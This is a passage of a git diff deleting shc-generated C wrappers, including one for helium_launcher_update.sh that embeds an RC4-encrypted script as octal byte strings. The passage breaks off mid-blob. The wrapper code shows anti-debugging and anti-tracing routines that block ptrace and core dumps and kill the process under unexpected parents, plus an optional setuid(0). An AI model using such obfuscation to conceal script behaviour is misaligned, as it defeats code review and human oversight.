- fclose(f); - } -} - -void hardening() { - prctl(PR_SET_DUMPABLE, 0); - prctl(PR_SET_PTRACER, -1); - - int pid = getppid(); - char name[256] = {0}; - gets_process_name(pid, name); - - if ( (strcmp(name, "bash") != 0) - && (strcmp(name, "/bin/bash") != 0) - && (strcmp(name, "sh") != 0) - && (strcmp(name, "/bin/sh") != 0) - && (strcmp(name, "sudo") != 0) - && (strcmp(name, "/bin/sudo") != 0) - && (strcmp(name, "/usr/bin/sudo") != 0) - && (strcmp(name, "gksudo") != 0) - && (strcmp(name, "/bin/gksudo") != 0) - && (strcmp(name, "/usr/bin/gksudo") != 0) - && (strcmp(name, "kdesu") != 0) - && (strcmp(name, "/bin/kdesu") != 0) - && (strcmp(name, "/usr/bin/kdesu") != 0) - ) - { - printf("Operation not permitted\n"); - kill(getpid(), SIGKILL); - exit(1); - } -} - -#endif /* HARDENING */ - -#if !TRACEABLE - -#define _LINUX_SOURCE_COMPAT -#include -#include -#include -#include -#include -#include -#include - -#if !defined(PT_ATTACHEXC) /* New replacement for PT_ATTACH */ - #if !defined(PTRACE_ATTACH) && defined(PT_ATTACH) - #define PT_ATTACHEXC PT_ATTACH - #elif defined(PTRACE_ATTACH) - #define PT_ATTACHEXC PTRACE_ATTACH - #endif -#endif - -void untraceable(char * argv0) -{ - char proc[80]; - int pid, mine; - - switch(pid = fork()) { - case 0: - pid = getppid(); - /* For problematic SunOS ptrace */ -#if defined(__FreeBSD__) - sprintf(proc, "/proc/%d/mem", (int)pid); -#else - sprintf(proc, "/proc/%d/as", (int)pid); -#endif - close(0); - mine = !open(proc, O_RDWR|O_EXCL); - if (!mine && errno != EBUSY) - mine = !ptrace(PT_ATTACHEXC, pid, 0, 0); - if (mine) { - kill(pid, SIGCONT); - } else { - perror(argv0); - kill(pid, SIGKILL); - } - _exit(mine); - case -1: - break; - default: - if (pid == waitpid(pid, 0, 0)) - return; - } - perror(argv0); - _exit(1); -} -#endif /* !TRACEABLE */ - -char * xsh(int argc, char ** argv) -{ - char * scrpt; - int ret, i, j; - char ** varg; - char * me = argv[0]; - if (me == NULL) { me = getenv("_"); } - if (me == 0) { fprintf(stderr, "E: neither argv[0] nor $_ works."); exit(1); } - - ret = chkenv(argc); - stte_0(); - key(pswd, pswd_z); - arc4(msg1, msg1_z); - arc4(date, date_z); - if (date[0] && (atoll(date) 1) ? ret : 0; /* Args numbering correction */ - while (i < argc) - varg[j++] = argv[i++]; /* Main run-time arguments */ - varg[j] = 0; /* NULL terminated array */ -#if DEBUGEXEC - debugexec(shll, j, varg); -#endif - execvp(shll, varg); - return shll; -} - -int main(int argc, char ** argv) -{ -#if SETUID - setuid(0); -#endif -#if DEBUGEXEC - debugexec("main", argc, argv); -#endif -#if HARDENING - hardening(); -#endif -#if !TRACEABLE - untraceable(argv[0]); -#endif - argv[1] = xsh(argc, argv); - fprintf(stderr, "%s%s%s: %s\n", argv[0], - errno ? ": " : "", - errno ? strerror(errno) : "", - argv[1] ? argv[1] : "" - ); - return 1; -} diff --git a/assets/binaries/helium_launcher_update.sh.x.c b/assets/binaries/helium_launcher_update.sh.x.c deleted file mode 100644 index aeb1cda..0000000 --- a/assets/binaries/helium_launcher_update.sh.x.c +++ /dev/null @@ -1,1262 +0,0 @@ -#if 0 - shc Version 4.0.3, Generic Shell Script Compiler - GNU GPL Version 3 Md Jahidul Hamid - - shc -f helium_launcher_update.sh -o launcher-update-helium -#endif - -static char data [] = -#define msg1_z 65 -#define msg1 ((&data[14])) - "\064\274\304\307\336\131\120\171\232\041\334\374\271\243\205\357" - "\044\024\001\223\040\150\032\227\025\362\072\044\103\070\147\047" - "\310\271\116\064\064\073\342\042\111\070\044\066\036\175\102\060" - "\333\030\033\210\344\152\026\346\132\351\112\131\206\125\263\226" - "\371\345\042\050\017\200\372\326\167\242\306\145\353\101\077\143" - "\121\361\224\116\023\247\030\232\267\004\053\014\236\105" -#define tst2_z 19 -#define tst2 ((&data[96])) - "\244\110\341\151\351\355\157\174\110\025\155\366\036\105\250\222" - "\315\336\156\226\145\101\202" -#define msg2_z 19 -#define msg2 ((&data[119])) - "\074\263\225\363\120\334\216\007\241\370\113\347\311\064\216\156" - "\051\031\107\326\256\330\071\155\173" -#define rlax_z 1 -#define rlax ((&data[142])) - "\270" -#define date_z 1 -#define date ((&data[143])) - "\262" -#define text_z 8598 -#define text ((&data[461])) - "\220\051\106\235\310\214\205\114\005\051\224\107\253\066\331\247" - "\162\214\177\254\372\373\111\271\150\172\306\351\124\354\005\344" - "\026\114\202\336\330\007\053\335\060\277\045\334\366\376\204\151" - "\213\004\025\205\377\136\076\150\331\004\122\055\361\130\022\007" - "\244\224\346\174\234\021\132\315\320\200\251\306\176\055\060\011" - "\062\105\216\062\243\314\232\174\321\355\252\302\106\274\311\352" - "\121\257\147\355\300\302\272\221\102\143\130\300\221\210\312\304" - "\315\130\366\161\045\221\355\366\176\227\271\305\124\202\260\245" - "\062\027\222\363\332\114\204\035\260\335\336\102\146\250\006\063" - "\001\374\244\046\216\222\035\015\052\326\322\176\131\202\044\214" - "\232\266\177\164\003\004\222\264\342\160\366\110\031\375\173\032" - "\372\040\101\210\263\136\225\335\065\147\134\217\352\200\033\204" - "\067\232\370\072\237\213\357\201\373\345\311\024\343\105\056\336" - "\145\160\146\031\316\374\366\004\143\123\223\116\324\256\322\013" - "\111\313\106\351\126\065\153\121\033\064\146\377\172\225\335\340" - "\005\103\371\324\100\360\330\244\103\153\362\030\032\304\043\144" - "\217\152\116\345\240\271\067\273\355\235\272\150\062\230\110\067" - "\333\101\013\034\061\344\300\165\120\262\215\153\166\261\320\005" - "\033\036\353\273\327\042\167\305\300\062\055\363\312\165\052\246" - "\267\066\302\351\033\202\136\153\064\354\327\253\235\317\317\303" - "\366\155\246\312\343\155\347\100\375\320\066\176\233\112\201\066" - "\135\144\347\163\000\216\324\213\012\105\366\215\266\062\175\322" - "\163\175\010\341\034\006\333\324\125\164\221\222\073\123\036\034" - "\117\171\240\025\142\052\231\303\030\251\171\226\367\043\103\270" - "\060\220\366\104\256\044\261\106\176\216\271\113\050\265\370\124" - "\242\250\060\255\302\124\075\131\306\053\077\302\120\176\115\343" - "\264\225\176\076\224\250\241\074\044\237\004\052\033\271\237\275" - "\305\107\216\110\163\302\021\045\004\036\013\055\317\171\346\366" - "\360\206\060\372\045\145\052\346\241\324\107\247\137\153\147\312" - "\136\227\003\071\120\003\252\035\120\132\207\365\237\343\311\052" - "\234\170\340\060\365\265\015\302\226\254\001\362\274\121\240\177" - "\127\354\277\350\222\273\262\131\151\344\242\003\142\021\060\256" - "\151\075\232\361\020\302\004\242\044\024\076\374\311\132\041\357" - "\207\217\132\171\300\272\006\364\301\072\320\275\072\117\235\050" - "\305\022\255\070\353\350\373\165\331\353\112\106\047\220\104\376" - "\206\175\160\036\321\362\261\325\272\367\037\235\041\153\127\321" - "\052\075\234\025\265\332\021\321\210\030\021\063\266\252\270\362" - "\270\042\060\250\154\011\237\337\033\303\241\211\347\136\112\266" - "\044\346\063\170\304\233\164\163\132\321\014\104\073\020\247\354" - "\353\277\275\146\216\271\021\254\373\355\157\366\235\015\250\333" - "\372\230\352\117\325\250\250\077\065\333\224\177\274\271\154\243" - "\101\122\223\011\374\115\375\064\034\130\320\331\145\105\247\313" - "\152\161\005\242\110\122\346\041\351\076\165\066\256\123\122\207" - "\202\034\321\074\057\165\222\172\013\201\123\112\221\061\221\022" - "\067\125\227\341\314\112\304\230\164\055\321\077\311\246\152\037" - "\105\043\272\073\126\031\246\063\033\032\364\027\362\063\316\334" - "\312\010\231\054\353\004\240\222\322\357\017\357\167\222\153\123" - "\177\160\345\200\214\250\370\104\155\060\174\336\327\156\030\105" - "\234\377\263\056\225\223\045\015\260\156\170\362\360\374\012\303" - "\155\173\237\266\123\305\062\142\220\322\013\005\311\354\170\065" - "\251\236\321\264\230\113\201\300\300\175\206\104\066\020\177\143" - "\164\267\355\332\275\076\077\315\116\160\031\351\054\041\254\111" - "\245\007\127\042\127\045\105\216\136\310\307\106\164\304\334\172" - "\307\161\043\147\015\274\246\175\325\122\200\312\037\053\362\026" - "\154\234\106\246\173\150\246\173\020\154\362\342\151\057\331\277" - "\307\122\332\033\165\060\332\216\102\371\266\143\270\076\123\227" - "\231\165\263\201\040\075\134\215\072\355\156\143\203\133\041\006" - "\364\206\176\141\136\150\130\344\372\227\056\045\311\277\107\222" - "\127\045\215\057\205\156\170\345\243\066\260\373\133\314\257\326" - "\313\216\234\100\044\244\276\257\341\137\224\315\342\065\255\202" - "\220\317\162\143\306\210\122\040\264\234\145\017\311\001\142\174" - "\237\323\371\020\324\235\045\265\321\322\021\343\136\067\376\347" - "\262\020\046\176\121\364\316\217\256\231\262\171\116\037\024\074" - "\041\327\045\000\361\010\376\160\301\143\340\061\336\005\060\377" - "\351\061\041\146\334\066\216\157\175\147\213\230\116\335\343\332" - "\304\327\352\005\127\001\011\003\370\074\175\066\114\376\320\055" - "\165\357\352\363\170\234\036\367\274\300\056\105\064\265\252\306" - "\122\321\033\253\373\240\312\117\155\345\266\273\302\256\176\125" - "\175\032\057\263\105\117\254\353\314\277\002\260\132\020\166\003" - "\252\024\352\006\121\006\263\163\325\270\354\256\202\312\177\014" - "\100\173\042\360\144\134\062\230\025\333\211\277\014\071\147\075" - "\267\041\310\012\260\337\175\207\374\314\102\365\100\233\113\222" - "\330\302\064\022\024\303\023\376\361\343\000\366\173\131\157\036" - "\257\350\275\115\276\373\003\331\027\267\016\220\317\340\302\006" - "\126\253\361\313\233\153\116\255\327\245\156\234\067\267\260\130" - "\263\014\371\221\045\052\124\320\334\061\343\103\323\032\271\213" - "\221\222\250\243\070\014\203\206\151\350\321\000\207\055\267\331" - "\166\271\252\013\003\252\132\030\305\113\136\340\062\060\376\122" - "\325\364\334\237\366\276\115\345\257\304\330\046\311\030\337\143" - "\067\376\313\241\043\044\355\123\277\045\046\235\066\100\253\261" - "\172\105\134\271\100\260\015\266\345\356\004\164\373\032\126\202" - "\346\120\262\332\145\013\373\321\172\024\273\147\270\273\216\123" - "\066\013\115\361\173\122\340\373\135\337\042\021\342\161\365\246" - "\010\210\333\241\254\375\122\330\351\203\003\226\043\101\140\374" - "\023\076\060\255\145\023\373\227\170\373\056\206\111\077\312\131" - "\344\273\324\026\315\241\045\046\006\314\017\330\110\376\142\336" - "\031\133\177\015\004\251\122\061\133\116\047\162\371\276\207\260" - "\262\216\067\047\044\126\374\061\250\065\254\357\366\036\007\257" - "\222\123\073\212\144\041\063\352\032\152\131\073\355\042\367\132" - "\200\047\114\146\311\043\072\215\137\370\251\064\016\347\026\007" - "\053\123\101\106\067\314\324\004\052\033\354\065\031\351\227\236" - "\257\004\201\341\003\057\005\111\357\252\241\306\204\021\060\216" - "\365\325\355\341\116\155\206\047\206\076\275\124\364\255\114\132" - "\105\152\052\236\344\054\342\072\106\324\344\302\074\075\036\012" - "\220\322\343\264\073\122\101\112\035\061\051\146\061\120\251\212" - "\107\253\064\355\305\006\004\316\067\057\335\050\141\077\130\222" - "\046\277\261\250\041\212\175\112\323\304\100\233\116\326\173\036" - "\203\343\365\365\371\022\306\367\126\321\361\116\115\032\325\004" - "\154\325\132\026\017\140\234\130\333\314\025\156\112\320\214\367" - "\061\231\317\341\001\125\026\147\202\072\136\073\004\000\074\317" - "\253\242\371\032\166\072\157\346\115\007\315\154\236\075\346\271" - "\374\010\217\222\135\233\231\116\145\352\116\356\350\041\221\003" - "\041\177\212\277\377\221\146\053\143\221\002\260\042\363\041\327" - "\310\242\126\107\371\232\043\162\324\342\072\136\261\356\234\356" - "\120\063\312\365\145\252\133\173\264\052\373\243\164\314\201\024" - "\310\073\357\321\011\133\156\322\137\077\150\306\205\256\065\373" - "\061\100\106\211\104\355\350\302\354\250\145\146\053\241\136\240" - "\346\027\315\123\277\332\353\302\125\262\335\132\001\313\240\165" - "\042\034\041\112\264\307\132\024\240\316\107\145\275\011\234\031" - "\370\134\151\015\322\171\364\220\174\347\047\041\131\100\132\042" - "\335\331\060\201\106\161\025\333\317\015\264\227\057\125\127\356" - "\101\345\321\145\056\316\063\377\373\302\064\031\006\231\123\221" - "\154\101\326\202\114\160\017\053\351\077\006\101\204\323\166\302" - "\356\164\130\216\303\311\156\345\010\150\255\230\056\045\202\277" - "\052\046\016\301\214\373\301\243\145\101\152\367\230\000\320\264" - "\251\146\231\001\071\141\360\004\211\324\126\304\372\266\007\142" - "\161\322\035\156\355\251\013\061\132\254\175\127\304\000\235\032" - "\303\112\205\127\060\057\027\142\335\065\004\167\356\027\326\230" - "\212\126\032\251\146\155\130\360\316\336\073\332\135\317\304\211" - "\247\071\245\366\171\247\150\110\242\246\160\223\070\264\155\160" - "\332\235\122\205\127\333\005\312\132\331\215\375\133\233\367\354" - "\202\331\160\160\216\366\101\000\040\047\115\020\306\067\153\351" - "\371\324\041\051\122\337\001\305\060\321\267\235\027\234\160\334" - "\162\004\357\040\016\137\330\031\004\140\351\126\135\231\350\001" - "\310\231\102\071\144\223\340\364\202\211\115\141\077\256\363\056" - "\312\157\372\174\257\021\023\172\010\050\364\044\273\241\224\320" - "\074\104\210\275\002\320\041\100\065\006\164\243\037\127\345\131" - "\332\061\123\251\102\316\257\066\176\320\332\110\114\251\062\005" - "\115\265\114\216\346\251\001\032\147\162\342\274\233\234\061\221" - "\313\004\137\073\347\262\214\035\306\017\122\365\352\246\027\100" - "\177\203\265\261\266\006\300\360\112\076\377\316\023\140\167\007" - "\165\300\315\342\010\263\013\154\135\204\140\311\025\277\023\221" - "\300\260\274\305\173\336\244\356\001\226\343\050\077\331\102\337" - "\320\216\122\311\021\327\212\041\065\157\235\235\047\271\174\257" - "\303\027\103\347\100\276\242\374\366\030\213\165\033\021\373\143" - "\073\071\242\023\256\041\011\031\111\011\237\103\156\066\076\074" - "\062\320\256\116\136\366\315\136\147\201\152\260\266\355\335\202" - "\104\145\165\213\006\037\073\201\251\144\036\277\006\121\237\303" - "\344\236\031\377\271\135\034\200\250\242\366\042\150\005\117\333" - "\047\246\151\357\344\325\023\334\130\135\160\341\222\360\040\200" - "\355\056\267\144\307\017\354\262\376\104\357\146\043\030\146\224" - "\227\030\140\307\146\136\317\105\374\242\227\061\004\340\074\211" - "\152\043\262\126\055\053\342\100\337\267\020\275\155\111\017\010" - "\332\065\146\130\041\376\212\043\062\015\043\314\254\341\352\244" - "\107\022\324\057\131\155\353\325\006\041\321\011\076\245\344\370" - "\056\143\240\260\341\050\157\332\036\210\202\055\037\303\051\325" - "\262\224\015\131\146\154\076\314\317\322\203\025\275\271\046\346" - "\323\023\231\300\272\001\115\217\040\106\073\375\200\036\340\325" - "\166\347\107\177\220\302\023\361\261\302\375\236\207\045\034\255" - "\304\010\141\130\167\104\020\120\153\172\053\270\117\163\016\263" - "\202\075\326\225\022\155\050\372\120\054\172\135\142\333\264\027" - "\177\230\376\322\233\352\302\277\176\236\175\314\137\316\026\053" - "\251\026\073\340\227\376\033\263\021\166\027\130\141\316\175\362" - "\323\344\103\247\241\051\126\301\070\123\125\115\137\040\323\042" - "\317\160\160\220\062\166\045\066\064\260\270\002\277\047\040\330" - "\132\064\065\016\370\240\040\067\225\311\322\275\075\200\006\270" - "\204\353\005\354\236\136\012\003\203\112\226\325\100\264\340\224" - "\323\023\254\050\125\302\235\323\345\376\207\367\265\222\320\127" - "\137\074\165\276\377\240\170\033\057\311\362\241\011\171\015\374" - "\217\254\025\373\005\042\356\260\147\007\241\243\153\001\012\044" - "\142\332\154\212\366\017\227\221\057\205\163\232\345\033\220\175" - "\061\104\256\241\120\223\273\054\013\144\046\324\042\107\252\371" - "\165\334\012\366\052\164\314\102\207\030\145\360\052\311\275\133" - "\020\364\310\137\101\107\133\003\015\065\243\343\353\244\321\070" - "\231\203\166\176\076\022\073\343\166\350\331\057\253\070\127\144" - "\121\157\224\376\061\216\352\213\171\142\206\302\155\214\236\357" - "\175\115\371\056\354\002\245\376\367\275\016\220\007\233\011\046" - "\217\367\134\305\264\354\325\073\025\105\332\126\243\112\276\317" - "\262\035\244\313\316\174\103\113\120\270\262\372\302\003\244\256" - "\314\227\156\261\103\105\165\272\052\000\167\331\372\115\260\220" - "\372\105\117\212\357\177\342\033\064\301\037\161\075\111\106\331" - "\166\373\074\026\241\176\020\070\361\263\034\167\266\367\126\047" - "\127\273\245\242\366\051\151\062\271\312\343\214\307\274\054\264" - "\170\060\045\301\066\311\335\315\173\110\370\065\024\170\210\154" - "\324\206\115\021\177\274\164\013\376\356\071\272\130\062\103\032" - "\057\051\004\266\376\052\323\213\270\137\137\043\257\232\046\117" - "\265\176\034\127\041\135\277\327\317\043\106\215\313\220\303\244" - "\006\322\110\106\233\073\357\347\361\272\240\215\327\231\015\135" - "\034\311\157\100\053\046\076\154\240\031\243\045\123\232\031\212" - "\231\140\135\275\243\161\275\002\055\016\011\316\331\247\363\111" - "\377\033\252\321\131\064\350\072\372\342\067\200\234\354\137\010" - "\120\172\045\207\134\063\157\263\240\305\243\245\156\135\303\344" - "\150\172\077\371\107\133\074\110\314\053\336\234\016\104\377\352" - "\313\250\062\241\150\211\102\265\201\210\110\063\003\252\161\176" - "\161\201\135\035\136\176\071\335\060\103\165\230\152\064\230\155" - "\363\153\017\370\150\162\110\111\051\074\111\247\375\173\030\375" - "\251\300\375\133\040\306\013\263\046\263\107\221\017\125\074\373" - "\156\134\353\220\307\175\204\270\256\103\155\071\174\173\070\122" - "\172\300\325\331\121\171\077\360\072\001\002\176\227\300\257\276" - "\101\046\334\177\201\102\016\126\024\066\237\302\256\357\256\316" - "\221\325\251\323\134\151\004\020\230\225\227\242\253\006\354\371" - "\340\361\357\145\040\166\326\215\244\367\075\163\306\300\040\306" - "\341\131\057\367\267\257\264\217\025\160\333\132\312\210\164\365" - "\215\245\364\367\211\351\152\076\243\257\121\035\123\011\363\147" - "\203\352\013\240\130\067\360\245\234\050\134\346\334\357\204\271" - "\011\273\354\214\223\027\327\170\123\216\200\171\250\355\375\305" - "\350\257\045\125\003\166\246\360\207\142\077\143\050\327\053\251" - "\022\353\124\155\107\363\342\117\056\051\051\131\351\043\215\321" - "\101\277\056\042\070\063\347\112\061\271\031\352\120\075\131\371" - "\251\171\341\200\135\200\306\052\107\337\272\007\264\171\343\317" - "\245\006\303\166\120\066\264\135\112\174\024\212\017\265\060\131" - "\241\067\365\376\104\344\207\131\130\244\225\012\373\042\215\245" - "\377\346\371\372\352\315\254\240\352\170\161\113\270\304\032\070" - "\157\347\026\147\232\235\254\221\116\357\030\256\141\054\314\075" - "\017\270\271\310\136\255\032\124\043\121\167\244\154\327\122\147" - "\013\045\301\206\345\025\237\163\322\200\132\277\202\016\032\226" - "\107\120\007\177\202\375\150\010\134\054\250\376\111\106\012\016" - "\255\011\050\232\233\012\156\122\240\304\153\355\161\033\156\372" - "\064\320\263\202\014\126\325\137\044\345\233\107\276\274\043\160" - "\227\060\022\054\113\010\250\314\033\261\247\372\117\361\075\170" - "\015\230\142\145\035\250\072\133\172\151\263\201\104\245\027\357" - "\031\025\013\326\241\334\357\375\062\372\226\134\372\115\237\303" - "\201\160\261\105\025\173\077\023\157\367\266\221\342\034\177\146" - "\332\241\131\113\372\014\065\320\202\171\067\035\117\053\352\135" - "\217\152\172\173\256\150\212\146\024\257\200\103\275\200\332\043" - "\222\257\070\117\312\276\315\061\337\011\230\155\032\133\230\244" - "\177\267\320\351\044\250\344\324\333\246\154\323\111\330\357\137" - "\376\071\066\334\377\365\132\070\174\237\057\367\005\071\272\061" - "\001\213\322\163\074\165\162\151\046\262\007\311\224\331\115\152" - "\144\127\123\171\232\176\373\375\021\052\157\112\215\126\113\252" - "\344\100\052\322\220\247\077\157\053\140\126\347\150\141\355\342" - "\216\124\013\065\262\322\212\335\171\066\376\061\142\332\307\071" - "\274\127\023\306\027\375\145\002\330\015\314\262\023\331\110\245" - "\135\324\257\376\331\023\220\305\166\260\271\167\007\162\032\163" - "\053\161\170\007\027\155\266\303\210\130\172\045\350\065\207\220" - "\271\063\177\103\114\374\143\170\053\225\334\274\165\006\142\347" - "\316\207\356\312\151\323\025\026\151\354\133\065\072\224\143\110" - "\056\276\170\247\250\276\205\026\166\161\337\102\006\324\015\030" - "\051\034\326\035\061\275\027\355\002\141\277\163\117\166\366\033" - "\272\303\134\101\221\000\362\165\101\204\150\026\022\326\102\063" - "\332\047\261\117\064\322\036\353\012\336\204\154\173\175\056\246" - "\334\161\116\126\040\055\051\044\277\063\047\117\266\336\301\324" - "\330\302\102\327\330\011\313\327\307\232\021\136\272\043\241\346" - "\200\340\172\320\263\023\317\043\044\030\103\243\345\113\106\216" - "\344\315\224\024\166\270\157\037\052\327\315\273\330\123\026\221" - "\146\204\205\315\350\377\126\100\313\017\101\250\243\351\210\303" - "\133\243\324\045\137\032\332\274\005\241\025\350\115\054\216\237" - "\116\365\166\125\017\265\340\126\336\365\121\331\261\166\073\330" - "\173\301\101\313\124\203\066\215\234\341\163\052\161\074\066\274" - "\356\137\260\361\012\021\254\162\003\174\055\172\234\125\047\154" - "\003\173\236\263\063\353\020\317\240\250\310\214\162\163\047\240" - "\337\145\115\236\217\040\220\141\225\275\106\041\103\041\363\267" - "\141\342\376\102\150\326\041\002\303\371\014\052\037\370\175\323" - "\116\017\362\000\311\052\032\173\136\353\336\207\365\373\350\160" - "\222\212\172\253\352\325\212\176\124\224\310\072\205\264\210\264" - "\014\011\274\342\011\230\267\244\035\164\025\004\152\317\177\233" - "\241\151\140\067\045\307\317\005\205\147\160\110\325\277\043\275" - "\226\076\174\035\240\335\036\257\170\353\064\147\054\006\110\163" - "\240\027\150\302\262\344\210\004\324\156\056\126\052\121\020\275" - "\317\213\116\326\160\217\374\056\352\245\134\213\147\302\144\350" - "\173\022\061\270\175\152\070\312\204\345\140\127\115\322\045\240" - "\070\251\046\121\067\002\031\140\317\064\153\203\353\201\245\277" - "\240\146\203\326\025\031\073\254\300\135\350\106\063\312\274\203" - "\043\010\313\070\036\022\373\203\012\060\264\072\216\051\343\124" - "\204\126\135\243\173\122\263\250\127\326\222\355\242\161\022\272" - "\177\256\231\361\325\322\245\063\123\341\312\115\000\052\013\161" - "\246\200\036\260\155\106\267\104\313\252\336\331\316\145\244\216" - "\025\140\257\274\341\367\025\335\072\355\065\233\250\027\130\242" - "\054\115\320\164\015\045\367\006\331\314\353\321\015\145\335\136" - "\257\370\124\143\223\142\014\020\163\223\023\321\352\256\207\017" - "\023\144\031\116\136\201\206\175\035\332\035\374\126\001\134\353" - "\230\212\316\141\204\171\260\077\137\057\216\304\064\075\103\261" - "\365\203\022\277\016\135\074\030\266\320\335\036\024\130\301\157" - "\051\342\037\377\277\164\263\233\004\247\343\023\336\130\011\124" - "\306\232\151\016\140\124\030\316\277\164\077\170\232\001\311\170" - "\137\372\075\161\216\255\027\043\211\116\235\072\037\157\233\145" - "\325\007\053\067\362\173\122\112\253\007\002\174\317\007\376\123" - "\265\247\001\227\253\361\066\245\175\263\077\270\117\354\254\344" - "\023\350\014\261\037\366\122\162\011\346\363\345\351\042\156\177" - "\236\050\011\040\030\263\332\106\251\223\225\271\346\200\152\152" - "\352\375\237\302\124\223\301\042\317\365\212\035\024\177\042\002" - "\352\116\152\316\126\025\203\342\120\305\001\023\033\343\275\275" - "\141\247\050\311\163\252\167\144\271\050\305\312\151\304\376\236" - "\357\176\055\216\303\074\312\224\142\273\151\126\206\147\207\022" - "\307\361\237\044\305\147\057\334\343\006\210\045\044\315\134\314" - "\072\074\140\014\207\115\100\103\146\014\212\045\053\223\236\345" - "\114\123\345\316\002\274\011\367\272\133\334\073\343\003\176\344" - "\344\020\374\102\370\343\006\116\051\056\163\170\044\030\141\336" - "\204\330\266\253\173\147\301\125\206\223\245\051\160\107\373\132" - "\240\275\217\216\132\115\045\052\304\356\162\134\342\043\022\155" - "\010\065\344\131\220\234\146\240\253\315\136\030\233\216\041\061" - "\301\274\227\210\377\264\202\233\120\371\113\364\257\155\105\051" - "\042\243\246\263\010\336\072\203\322\257\322\121\364\070\112\152" - "\120\253\207\040\157\330\211\073\303\116\166\364\237\332\276\120" - "\125\245\253\366\226\210\162\144\011\275\256\140\127\104\226\066" - "\156\312\350\060\377\067\277\063\272\022\311\002\127\025\175\165" - "\123\020\265\305\307\056\051\015\113\366\047\224\113\014\243\356" - "\142\040\161\021\247\056\012\272\300\175\360\073\033\263\052\006" - "\324\173\155\332\073\210\134\230\317\053\307\240\221\112\045\215" - "\362\164\040\306\114\061\067\032\310\334\176\060\127\340\314\307" - "\076\351\124\027\233\266\100\071\021\054\020\352\171\170\336\021" - "\202\304\307\224\307\234\223\313\352\242\025\350\173\061\125\353" - "\050\075\136\212\006\031\110\043\057\245\000\047\132\243\025\251" - "\276\122\172\264\370\036\027\242\030\142\201\136\372\307\157\361" - "\155\370\002\060\242\303\346\177\122\317\270\336\156\076\141\242" - "\332\376\204\103\061\333\163\066\026\030\227\340\277\201\232\371" - "\204\230\173\343\106\105\107\306\006\330\121\352\013\335\005\153" - "\337\033\010\051\232\225\327\344\241\123\143\311\266\250\153\322" - "\015\166\027\216\065\242\274\311\024\244\306\116\270\337\132\165" - "\331\016\331\355\273\042\326\054\173\144\337\040\136\351\031\364" - "\244\012\166\366\240\340\274\114\213\344\370\047\365\067\336\051" - "\341\016\267\342\155\300\200\240\275\342\212\104\322\120\277\312" - "\174\173\222\160\021\131\231\041\373\223\035\176\142\217\264\163" - "\264\361\167\160\326\011\060\051\117\254\165\351\216\007\324\065" - "\212\104\230\371\320\353\042\365\315\252\206\136\010\336\036\100" - "\140\033\156\340\046\150\063\133\265\113\176\014\101\355\037\270" - "\226\113\030\142\122\335\366\035\372\230\345\115\126\072\360\065" - "\271\351\036\120\167\137\252\045\006\067\172\321\175\300\236\030" - "\013\202\275\017\166\001\113\316\153\224\100\013\115\261\247\124" - "\142\302\164\251\157\225\174\012\241\025\345\257\312\000\077\221" - "\174\370\033\303\236\120\363\162\317\222\323\217\051\220\273\335" - "\203\204\234\267\151\123\264\007\154\257\055\367\340\031\045\353" - "\100\140\337\006\135\100\146\030\313\216\243\303\213\034\261\145" - "\365\306\064\166\205\365\314\007\263\341\027\036\123\261\143\373" - "\144\071\130\312\375\242\012\113\320\307\270\007\363\077\301\337" - "\331\177\254\212\172\006\200\264\354\112\173\302\312\054\302\054" - "\376\054\133\124\307\252\171\222\070\013\243\117\336\172\367\127" - "\012\121\336\344\056\213\144\004\130\034\047\337\252\204\145\225" - "\343\341\311\340\166\202\212\206\060\007\107\346\017\124\035\270" - "\116\372\213\052\262\053\236\342\140\316\036\066\324\311\113\337" - "\105\241\246\157\121\372\135\111\133\152\051\106\034\052\040\151" - "\067\217\022\263\320\136\121\331\257\305\061\153\366\136\001\151" - "\156\213\010\211\126\060\331\276\145\024\267\310\117\227\120\244" - "\137\231\025\012\343\021\325\216\131\132\060\274\062\167\171\354" - "\233\152\046\027\255\011\350\063\304\130\007\177\331\072\176\336" - "\377\026\057\024\215\234\276\340\374\167\345\060\234\236\206\324" - "\042\160\043\337\017\376\042\137\252\353\057\104\101\237\102\352" - "\347\100\214\132\027\065\326\242\120\372\070\005\037\314\331\042" - "\372\270\312\004\110\211\353\071\374\242\317\327\027\167\265\320" - "\276\117\042\211\273\025\332\101\221\027\307\151\232\037\252\233" - "\126\126\212\270\245\225\236\312\311\114\004\101\303\015\374\322" - "\277\055\104\147\362\274\303\151\373\252\156\115\127\134\331\000" - "\115\064\136\021\153\324\221\031\251\250\275\011\175\005\125\166" - "\144\320\221\260\303\247\176\041\215\335\245\161\222\210\117\301" - "\142\004\077\124\210\347\041\154\006\014\055\120\131\335\260\157" - "\105\240\260\236\367\021\201\012\336\273\061\107\162\220\105\011" - "\375\330\224\252\044\166\007\331\300\350\072\103\036\335\324\343" - "\105\013\254\107\253\220\374\227\067\036\057\152\344\011\316\041" - "\222\366\264\230\146\152\375\043\014\020\330\235\160\372\100\371" - "\302\221\266\300\055\300\012\264\110\140\173\230\027\153\013\234" - "\375\174\350\175\244\176\042\223\271\073\152\216\354\024\216\133" - "\337\165\346\213\207\175\263\170\214\067\323\055\117\123\262\223" - "\056\153\333\122\036\004\126\372\207\361\043\047\136\304\151\057" - "\352\234\345\216\140\007\206\374\074\341\216\006\133\101\042\074" - "\043\364\122\007\277\115\174\052\354\232\146\302\335\116\074\231" - "\272\210\332\344\367\131\172\146\374\233\342\036\264\241\355\276" - "\106\102\130\177\140\321\273\137\057\157\302\274\360\041\032\020" - "\061\323\026\241\146\107\013\004\340\042\272\071\151\325\242\255" - "\216\152\205\356\014\346\145\232\005\373\157\146\074\236\160\264" - "\261\014\223\341\343\374\047\212\170\167\256\016\005\012\010\273" - "\061\243\143\253\370\232\055\333\304\315\014\016\035\004\153\317" - "\372\022\127\207\131\353\224\136\055\344\323\023\067\101\333\361" - "\077\076\341\112\066\373\032\304\051\071\212\363\004\136\201\002" - "\026\006\165\142\147\114\101\301\005\122\062\105\004\164\111\135" - "\075\317\001\217\231\207\062\231\054\233\057\254\324\207\162\056" - "\137\166\052\301\343\314\253\125\347\147\061\220\067\126\127\113" - "\017\212\220\356\040\155\067\050\266\345\272\032\241\005\203\215" - "\244\217\276\343\063\326\110\147\026\173\051\260\163\235\205\176" - "\226\032\244\157\054\213\010\214\042\146\167\236\300\011\307\033" - "\172\101\006\144\114\044\041\226\162\322\266\125\061\312\274\067" - "\106\374\320\232\220\142\277\001\154\154\061\253\012\132\204\040" - "\321\255\352\211\002\242\071\044\351\165\357\003\135\163\302\312" - "\254\215\130\106\215\143\336\146\175\252\056\206\210\054\364\035" - "\201\301\124\364\301\070\153\023\302\371\001\204\323\124\033\147" - "\101\345\037\311\265\377\026\346\231\257\211\321\067\066\022\060" - 